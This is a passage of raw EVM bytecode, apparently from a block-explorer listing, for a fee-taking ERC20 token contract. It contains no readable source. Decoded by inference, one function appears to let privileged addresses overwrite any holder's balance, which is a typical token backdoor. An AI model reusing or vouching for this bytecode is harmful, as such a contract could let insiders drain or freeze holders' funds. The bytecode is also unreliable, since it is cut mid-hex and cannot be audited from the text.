fff168152602001908152602001600020546128c990919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161339e91906144cf565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff021916908315150217905550600061340a60026133fc6019546133ee6014548761381e90919063ffffffff16565b61389990919063ffffffff16565b61389990919063ffffffff16565b90506000613421828461319490919063ffffffff16565b905061342c816138e3565b6000479050600061345d61344c600260145461389990919063ffffffff16565b60195461319490919063ffffffff16565b9050600061349b600261348d8461347f6014548861381e90919063ffffffff16565b61389990919063ffffffff16565b61389990919063ffffffff16565b905060006134c6836134b86016548761381e90919063ffffffff16565b61389990919063ffffffff16565b905060006134ef826134e1858861319490919063ffffffff16565b61319490919063ffffffff16565b9050600081111561352757613526600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613b6e565b5b600082111561355d5761355c600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613b6e565b5b60008311801561356d5750600087115b1561357d5761357c8784613bb9565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60006135af600154613cad565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806135e6575060005b806135ef575060005b159050919050565b60008060009050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561367f57613678606461366a6017548661381e90919063ffffffff16565b61389990919063ffffffff16565b90506136fd565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136fc576136f960646136eb6018548661381e90919063ffffffff16565b61389990919063ffffffff16565b90505b5b60008111156138015761375881600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137f891906144cf565b60405180910390a35b613814818461319490919063ffffffff16565b9150509392505050565b6000808314156138315760009050613893565b6000828461383f919061466b565b905082848261384e919061463a565b1461388e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138859061444f565b60405180910390fd5b809150505b92915050565b60006138db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613cbf565b905092915050565b6000600267ffffffffffffffff811115613900576138ff614912565b5b60405190808252806020026020018201604052801561392e5781602001602082028036833780820191505090505b5090503081600081518110613946576139456148e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156139e857600080fd5b505afa1580156139fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a209190613e18565b81600181518110613a3457613a336148e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613a9b30601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461292f565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613aff95949392919061451a565b600060405180830381600087803b158015613b1957600080fd5b505af1158015613b2d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613b629291906144ea565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613bb4573d6000803e3d6000fd5b505050565b613be630601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461292f565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613c32611f24565b426040518863ffffffff1660e01b8152600401613c5496959493929190614316565b6060604051808303818588803b158015613c6d57600080fd5b505af1158015613c81573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613ca69190614025565b5050505050565b6000613cb882613d22565b9050919050565b60008083118290613d06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cfd91906143ad565b60405180910390fd5b5060008385613d15919061463a565b9050809150509392505050565b6000819050919050565b600081359050613d3b81614b97565b92915050565b600081519050613d5081614b97565b92915050565b60008083601f840112613d6c57613d6b614946565b5b8235905067ffffffffffffffff811115613d8957613d88614941565b5b602083019150836020820283011115613da557613da461494b565b5b9250929050565b600081359050613dbb81614bae565b92915050565b600081359050613dd081614bc5565b92915050565b600081519050613de581614bc5565b92915050565b600060208284031215613e0157613e00614955565b5b6000613e0f84828501613d2c565b91505092915050565b600060208284031215613e2e57613e2d614955565b5b6000613e3c84828501613d41565b91505092915050565b60008060408385031215613e5c57613e5b614955565b5b6000613e6a85828601613d2c565b9250506020613e7b85828601613d2c565b9150509250929050565b600080600060608486031215613e9e57613e9d614955565b5b6000613eac86828701613d2c565b9350506020613ebd86828701613d2c565b9250506040613ece86828701613dc1565b9150509250925092565b60008060408385031215613eef57613eee614955565b5b6000613efd85828601613d2c565b9250506020613f0e85828601613dc1565b9150509250929050565b600080600060408486031215613f3157613f30614955565b5b600084013567ffffffffffffffff811115613f4f57613f4e614950565b5b613f5b86828701613d56565b93509350506020613f6e86828701613dac565b9150509250925092565b600060208284031215613f8e57613f8d614955565b5b6000613f9c84828501613dac565b91505092915050565b600060208284031215613fbb57613fba614955565b5b6000613fc984828501613dc1565b91505092915050565b600080600060608486031215613feb57613fea614955565b5b6000613ff986828701613dc1565b935050602061400a86828701613dc1565b925050604061401b86828701613dc1565b9150509250925092565b60008060006060848603121561403e5761403d614955565b5b600061404c86828701613dd6565b935050602061405d86828701613dd6565b925050604061406e86828701613dd6565b9150509250925092565b6000614084838361409f565b60208301905092915050565b6140998161470b565b82525050565b6140a8816146f9565b82525050565b6140b7816146f9565b82525050565b60006140c88261459f565b6140d281856145c2565b93506140dd8361458f565b8060005b8381101561410e5781516140f58882614078565b9750614100836145b5565b9250506001810190506140e1565b5085935050505092915050565b6141248161471d565b82525050565b61413381614760565b82525050565b61414281614772565b82525050565b6000614153826145aa565b61415d81856145d3565b935061416d8185602086016147a8565b6141768161495a565b840191505092915050565b600061418e6023836145d3565b91506141998261496b565b604082019050919050565b60006141b16022836145d3565b91506141bc826149ba565b604082019050919050565b60006141d4601b836145d3565b91506141df82614a09565b602082019050919050565b60006141f76028836145d3565b915061420282614a32565b604082019050919050565b600061421a6021836145d3565b915061422582614a81565b604082019050919050565b600061423d6020836145d3565b915061424882614ad0565b602082019050919050565b60006142606025836145d3565b915061426b82614af9565b604082019050919050565b60006142836024836145d3565b915061428e82614b48565b604082019050919050565b6142a281614749565b82525050565b6142b181614753565b82525050565b60006020820190506142cc60008301846140ae565b92915050565b60006020820190506142e76000830184614090565b92915050565b600060408201905061430260008301856140ae565b61430f60208301846140ae565b9392505050565b600060c08201905061432b60008301896140ae565b6143386020830188614299565b6143456040830187614139565b6143526060830186614139565b61435f60808301856140ae565b61436c60a0830184614299565b979650505050505050565b600060208201905061438c600083018461411b565b92915050565b60006020820190506143a7600083018461412a565b92915050565b600060208201905081810360008301526143c78184614148565b905092915050565b600060208201905081810360008301526143e881614181565b9050919050565b60006020820190508181036000830152614408816141a4565b9050919050565b60006020820190508181036000830152614428816141c7565b9050919050565b60006020820190508181036000830152614448816141ea565b9050919050565b600060208201905081810360008301526144688161420d565b9050919050565b6000602082019050818103600083015261448881614230565b9050919050565b600060208201905081810360008301526144a881614253565b9050919050565b600060208201905081810360008301526144c881614276565b9050919050565b60006020820190506144e46000830184614299565b92915050565b60006040820190506144ff6000830185614299565b818103602083015261451181846140bd565b90509392505050565b600060a08201905061452f6000830188614299565b61453c6020830187614139565b818103604083015261454e81866140bd565b905061455d60608301856140ae565b61456a6080830184614299565b9695505050505050565b600060208201905061458960008301846142a8565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145ef82614749565b91506145fa83614749565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561462f5761462e614856565b5b828201905092915050565b600061464582614749565b915061465083614749565b9250826146605761465f614885565b5b828204905092915050565b600061467682614749565b915061468183614749565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156146ba576146b9614856565b5b828202905092915050565b60006146d082614749565b91506146db83614749565b9250828210156146ee576146ed614856565b5b828203905092915050565b600061470482614729565b9050919050565b600061471682614729565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061476b82614784565b9050919050565b600061477d82614749565b9050919050565b600061478f82614796565b9050919050565b60006147a182614729565b9050919050565b60005b838110156147c65780820151818401526020810190506147ab565b838111156147d5576000848401525b50505050565b600060028204905060018216806147f357607f821691505b60208210811415614807576148066148b4565b5b50919050565b600061481882614749565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561484b5761484a614856565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614ba0816146f9565b8114614bab57600080fd5b50565b614bb78161471d565b8114614bc257600080fd5b50565b614bce81614749565b8114614bd957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206089cd689cd47d9cbda83c245eb9b43fb9a8854dadbafe4928d659e9fef05d7864736f6c63430008070033

Deployed Bytecode

0x60806040526004361061039b5760003560e01c80638b42507f116101dc578063c860795211610102578063dfb342fa116100a0578063f2514e881161006f578063f2514e8814610ddd578063f2fde38b14610e1a578063f872858a14610e43578063fd9c299c14610e6e576103a2565b8063dfb342fa14610d23578063ec28438a14610d60578063f0cd1dac14610d89578063f1d5f51714610db4576103a2565b8063d8295642116100dc578063d829564214610c67578063da00097d14610c90578063dc44b6a014610cbb578063dd62ed3e14610ce6576103a2565b8063c860795214610bd4578063c867d60b14610bff578063cab0347114610c3c576103a2565b8063a83f53a71161017a578063c469b6dd11610149578063c469b6dd14610b2a578063c49b9a8014610b55578063c5d2418914610b7e578063c816841b14610ba9576103a2565b8063a83f53a714610a6e578063a9059cbb14610a99578063b4fc5a9514610ad6578063c2d4640e14610b01576103a2565b8063a073d37f116101b6578063a073d37f146109b2578063a08e671f146109dd578063a457c2d714610a08578063a5d69d1f14610a45576103a2565b80638b42507f1461091f5780638da5cb5b1461095c57806395d89b4114610987576103a2565b806339509351116102c157806361a23c691161025f5780637d1db4a51161022e5780637d1db4a514610873578063807c2d9c1461089e57806382eefb43146108c957806388790a68146108f4576103a2565b806361a23c69146107b95780636249faf1146107e457806370a082311461080d57806377f31d031461084a576103a2565b806340db65f61161029b57806340db65f6146106fb5780634a74bb021461072657806357a5802f146107515780635881f3ef1461077c576103a2565b806339509351146106585780633b97084a146106955780633ecad271146106be576103a2565b80631870517a116103395780632b112e49116103085780632b112e49146105b05780632c4b2334146105db578063313ce5671461060457806335d236151461062f576103a2565b80631870517a146104f657806323b872dd1461051f5780632563ae831461055c57806327c8f83514610585576103a2565b80631245e347116103755780631245e3471461044c578063156b88eb146104775780631694505e146104a057806318160ddd146104cb576103a2565b806306fdde03146103a7578063095ea7b3146103d25780630ed8b8251461040f576103a2565b366103a257005b600080fd5b3480156103b357600080fd5b506103bc610e97565b6040516103c991906143ad565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f49190613ed8565b610f29565b6040516104069190614377565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190613deb565b610f47565b6040516104439190614377565b60405180910390f35b34801561045857600080fd5b50610461610f67565b60405161046e91906142d2565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190613fd2565b610f8d565b005b3480156104ac57600080fd5b506104b561106d565b6040516104c29190614392565b60405180910390f35b3480156104d757600080fd5b506104e0611093565b6040516104ed91906144cf565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190613fd2565b61109d565b005b34801561052b57600080fd5b5061054660048036038101906105419190613e85565b61117d565b6040516105539190614377565b60405180910390f35b34801561056857600080fd5b50610583600480360381019061057e9190613f78565b611257565b005b34801561059157600080fd5b5061059a611309565b6040516105a791906142b7565b60405180910390f35b3480156105bc57600080fd5b506105c561132d565b6040516105d291906144cf565b60405180910390f35b3480156105e757600080fd5b5061060260048036038101906105fd9190613deb565b611371565b005b34801561061057600080fd5b5061061961144a565b6040516106269190614574565b60405180910390f35b34801561063b57600080fd5b5061065660048036038101906106519190613deb565b611461565b005b34801561066457600080fd5b5061067f600480360381019061067a9190613ed8565b61153a565b60405161068c9190614377565b60405180910390f35b3480156106a157600080fd5b506106bc60048036038101906106b79190613fa5565b6115ed565b005b3480156106ca57600080fd5b506106e560048036038101906106e09190613deb565b61168c565b6040516106f29190614377565b60405180910390f35b34801561070757600080fd5b506107106116ac565b60405161071d91906144cf565b60405180910390f35b34801561073257600080fd5b5061073b6116b2565b6040516107489190614377565b60405180910390f35b34801561075d57600080fd5b506107666116c5565b60405161077391906144cf565b60405180910390f35b34801561078857600080fd5b506107a3600480360381019061079e9190613deb565b6116cb565b6040516107b091906142b7565b60405180910390f35b3480156107c557600080fd5b506107ce611c29565b6040516107db91906144cf565b60405180910390f35b3480156107f057600080fd5b5061080b60048036038101906108069190613f18565b611c2f565b005b34801561081957600080fd5b50610834600480360381019061082f9190613deb565b611d69565b60405161084191906144cf565b60405180910390f35b34801561085657600080fd5b50610871600480360381019061086c9190613f18565b611db2565b005b34801561087f57600080fd5b50610888611eec565b60405161089591906144cf565b60405180910390f35b3480156108aa57600080fd5b506108b3611ef2565b6040516108c091906144cf565b60405180910390f35b3480156108d557600080fd5b506108de611ef8565b6040516108eb91906144cf565b60405180910390f35b34801561090057600080fd5b50610909611efe565b60405161091691906144cf565b60405180910390f35b34801561092b57600080fd5b5061094660048036038101906109419190613deb565b611f04565b6040516109539190614377565b60405180910390f35b34801561096857600080fd5b50610971611f24565b60405161097e91906142b7565b60405180910390f35b34801561099357600080fd5b5061099c611f4d565b6040516109a991906143ad565b60405180910390f35b3480156109be57600080fd5b506109c7611fdf565b6040516109d491906144cf565b60405180910390f35b3480156109e957600080fd5b506109f2611fe9565b6040516109ff91906144cf565b60405180910390f35b348015610a1457600080fd5b50610a2f6004803603810190610a2a9190613ed8565b611fef565b604051610a3c9190614377565b60405180910390f35b348015610a5157600080fd5b50610a6c6004803603810190610a679190613f78565b6120bc565b005b348015610a7a57600080fd5b50610a8361216e565b604051610a9091906144cf565b60405180910390f35b348015610aa557600080fd5b50610ac06004803603810190610abb9190613ed8565b612174565b604051610acd9190614377565b60405180910390f35b348015610ae257600080fd5b50610aeb612193565b604051610af891906142d2565b60405180910390f35b348015610b0d57600080fd5b50610b286004803603810190610b239190613fd2565b6121b9565b005b348015610b3657600080fd5b50610b3f612299565b604051610b4c91906144cf565b60405180910390f35b348015610b6157600080fd5b50610b7c6004803603810190610b779190613f78565b61229f565b005b348015610b8a57600080fd5b50610b93612388565b604051610ba091906144cf565b60405180910390f35b348015610bb557600080fd5b50610bbe61238e565b604051610bcb91906142b7565b60405180910390f35b348015610be057600080fd5b50610be96123b4565b604051610bf691906144cf565b60405180910390f35b348015610c0b57600080fd5b50610c266004803603810190610c219190613deb565b6123ba565b604051610c339190614377565b60405180910390f35b348015610c4857600080fd5b50610c516123da565b604051610c5e91906144cf565b60405180910390f35b348015610c7357600080fd5b50610c8e6004803603810190610c899190613ed8565b6123e0565b005b348015610c9c57600080fd5b50610ca5612482565b604051610cb29190614377565b60405180910390f35b348015610cc757600080fd5b50610cd0612495565b604051610cdd91906144cf565b60405180910390f35b348015610cf257600080fd5b50610d0d6004803603810190610d089190613e45565b61249b565b604051610d1a91906144cf565b60405180910390f35b348015610d2f57600080fd5b50610d4a6004803603810190610d459190613deb565b612522565b604051610d579190614377565b60405180910390f35b348015610d6c57600080fd5b50610d876004803603810190610d829190613fa5565b612542565b005b348015610d9557600080fd5b50610d9e6125a3565b604051610dab91906144cf565b60405180910390f35b348015610dc057600080fd5b50610ddb6004803603810190610dd69190613fa5565b6125a9565b005b348015610de957600080fd5b50610e046004803603810190610dff9190613deb565b612648565b604051610e119190614377565b60405180910390f35b348015610e2657600080fd5b50610e416004803603810190610e3c9190613deb565b612668565b005b348015610e4f57600080fd5b50610e586127ba565b604051610e659190614377565b60405180910390f35b348015610e7a57600080fd5b50610e956004803603810190610e909190613f18565b6127cd565b005b606060028054610ea6906147db565b80601f0160208091040260200160405190810160405280929190818152602001828054610ed2906147db565b8015610f1f5780601f10610ef457610100808354040283529160200191610f1f565b820191906000526020600020905b815481529060010190602001808311610f0257829003601f168201915b5050505050905090565b6000610f3d610f36612927565b848461292f565b6001905092915050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f95612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611022576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110199061446f565b60405180910390fd5b8260118190555081601281905550806013819055506110626013546110546012546011546128c990919063ffffffff16565b6128c990919063ffffffff16565b601881905550505050565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b6110a5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611132576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111299061446f565b60405180910390fd5b82600e8190555081600f8190555080601081905550611172601054611164600f54600e546128c990919063ffffffff16565b6128c990919063ffffffff16565b601781905550505050565b600061118a848484612afa565b5061124c84611197612927565b61124785604051806060016040528060288152602001614bdd60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111fd612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b61292f565b600190509392505050565b61125f612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e39061446f565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600061136c61135b7f000000000000000000000000000000000000000000000000000000000000dead611d69565b601a5461319490919063ffffffff16565b905090565b611379612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fd9061446f565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b611469612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ed9061446f565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006115e3611547612927565b846115de8560076000611558612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b61292f565b6001905092915050565b6115f5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611682576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116799061446f565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60015481565b601f60159054906101000a900460ff1681565b60145481565b60006116d5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611762576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117599061446f565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156117ad57600080fd5b505afa1580156117c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e59190613e18565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561184757600080fd5b505afa15801561185b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187f9190613e18565b6040518363ffffffff1660e01b815260040161189c9291906142ed565b60206040518083038186803b1580156118b457600080fd5b505afa1580156118c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ec9190613e18565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611aad578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561196957600080fd5b505afa15801561197d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a19190613e18565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a0357600080fd5b505afa158015611a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3b9190613e18565b6040518363ffffffff1660e01b8152600401611a589291906142ed565b602060405180830381600087803b158015611a7257600080fd5b505af1158015611a86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aaa9190613e18565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611c37612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbb9061446f565b60405180910390fd5b60005b83839050811015611d63578160096000868685818110611cea57611ce96148e3565b5b9050602002016020810190611cff9190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d5b9061480d565b915050611cc7565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611dba612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3e9061446f565b60405180910390fd5b60005b83839050811015611ee6578160086000868685818110611e6d57611e6c6148e3565b5b9050602002016020810190611e829190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ede9061480d565b915050611e4a565b50505050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054611f5c906147db565b80601f0160208091040260200160405190810160405280929190818152602001828054611f88906147db565b8015611fd55780601f10611faa57610100808354040283529160200191611fd5565b820191906000526020600020905b815481529060010190602001808311611fb857829003601f168201915b5050505050905090565b6000601d54905090565b60195481565b60006120b2611ffc612927565b846120ad85604051806060016040528060258152602001614c056025913960076000612026612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b61292f565b6001905092915050565b6120c4612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121489061446f565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b6000612188612181612927565b8484612afa565b506001905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6121c1612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461224e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122459061446f565b60405180910390fd5b82601481905550816015819055508060168190555061228e6016546122806015546014546128c990919063ffffffff16565b6128c990919063ffffffff16565b601981905550505050565b60105481565b6122a7612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232b9061446f565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161237d9190614377565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b600c60006123ec612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561247e5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b601f60169054906101000a900460ff1681565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156125a05780601b819055505b50565b60175481565b6125b1612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461263e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126359061446f565b60405180910390fd5b80601c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b612670612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f49061446f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906